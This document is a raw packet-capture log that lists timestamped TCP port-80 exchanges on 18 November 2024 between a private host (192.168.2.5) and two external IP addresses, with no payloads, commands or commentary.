Nov 18, 2024 19:04:24.526272058 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.526361942 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.540471077 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.540488958 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.540505886 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.540524006 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.540539980 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.540607929 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.540610075 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.540628910 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.540631056 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.540678024 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.540678024 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.540776014 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.540792942 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.540810108 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.540822983 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.540849924 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.540849924 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.546622038 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.546641111 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.546657085 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.546722889 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.594738960 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.601597071 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.601629019 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.601645947 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.601691961 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.601707935 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.601717949 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.601733923 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.601758957 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.601788998 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.601811886 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.601839066 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.601846933 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.601855993 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.601887941 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.601887941 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.601972103 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.601989031 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602005005 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602031946 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602031946 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602046013 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602047920 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602065086 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602097988 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602097988 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602107048 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602121115 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602144957 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602166891 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602166891 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602179050 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602210999 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602278948 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602281094 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602297068 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602313042 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602330923 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602334976 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602334976 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602361917 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602361917 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602494001 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602510929 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602526903 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602534056 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602544069 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602561951 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602570057 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602570057 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602602005 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602602005 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602652073 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602668047 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602683067 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602708101 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602708101 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602718115 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602783918 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602799892 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602818012 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602834940 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602843046 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602843046 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602866888 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602873087 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602873087 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602883101 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602897882 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.602897882 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.602917910 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603013039 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603094101 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603108883 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603122950 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603144884 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603156090 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603156090 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603159904 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603174925 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603190899 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603203058 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603204012 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603208065 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603229046 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603229046 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603249073 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603342056 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603355885 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603378057 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603394985 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603416920 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603416920 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603430033 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603532076 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603548050 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603563070 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603579044 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603590012 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603590012 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603595018 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603611946 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603615999 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603641033 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603641033 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603662014 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.603698969 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.603698969 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.607346058 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.607359886 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.607376099 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.607403994 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.607429028 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.607440948 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.607455015 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.607470989 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.607491016 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.607497931 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.607497931 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.607515097 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.607528925 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.607547045 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.607580900 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.607590914 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.607605934 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.607650995 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.607650995 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.616347075 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.616362095 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.616425037 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.616591930 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.616612911 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.616638899 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.616652966 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.616669893 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.616691113 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.616694927 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.616694927 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.616697073 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.616718054 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.616751909 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.617428064 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.617444038 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.617459059 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.617492914 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.617492914 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.648315907 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.648360968 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.648441076 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.650655031 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.650670052 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.650728941 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.660149097 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.660173893 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.660190105 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.660208941 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.660243034 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.660265923 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.660326958 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.660350084 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.660363913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.660382032 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.660397053 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.660412073 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.660412073 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.660423040 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.660433054 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.660442114 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.660448074 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.660479069 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.660479069 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.660511017 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.660629034 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.683199883 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.683264971 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.683300018 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.683310986 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.683737993 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.683788061 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.685744047 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.685758114 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:24.685836077 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:24.723052979 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723076105 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723104000 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723121881 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723134041 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723134041 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723145008 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723164082 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723170996 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723206997 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723206997 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723479986 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723577023 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723647118 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723663092 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723679066 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723695040 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723699093 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723699093 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723711014 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723716974 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723726988 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723751068 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723751068 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723757982 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723773956 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723788977 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723790884 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723790884 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723803997 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723819971 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723826885 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723826885 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723834991 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723850965 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723858118 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723858118 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723866940 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723882914 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723891020 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723891020 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723907948 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723933935 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.723984957 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.723999977 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724014997 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724028111 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.724055052 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.724055052 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.724577904 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724594116 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724608898 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724612951 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.724625111 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724639893 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724641085 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.724652052 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.724654913 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724668026 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.724694014 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.724694014 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.724726915 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724742889 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724756956 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724770069 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.724773884 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724788904 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724803925 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724817991 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.724817991 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.724819899 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724834919 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.724836111 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724852085 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724869967 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.724869967 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.724872112 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724878073 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.724898100 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.724915981 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.725071907 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.725087881 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.725135088 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.725135088 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.725174904 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.725189924 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.725204945 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.725214005 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.725222111 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.725239992 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.725248098 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.725248098 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.725256920 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.725274086 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.725289106 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.725297928 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.725297928 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.725305080 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.725337982 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.725337982 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.727701902 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.727724075 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.727734089 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.727781057 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.727830887 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.727844954 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.727861881 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.727864027 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.727878094 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.727895975 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.727919102 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.727919102 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.727952003 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.728049994 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.728147984 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.737324953 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.737396002 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.737437010 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.737458944 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.737476110 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.737504005 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.737709999 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.737736940 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.737754107 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.737771034 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.737771034 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.737771034 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.737803936 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.737803936 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.738322973 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.738362074 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.738559008 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.738668919 CET	80	49980	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:24.738687992 CET	49980	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:24.738730907 CET	49980	80	192.168.2.5	185.215.113.16
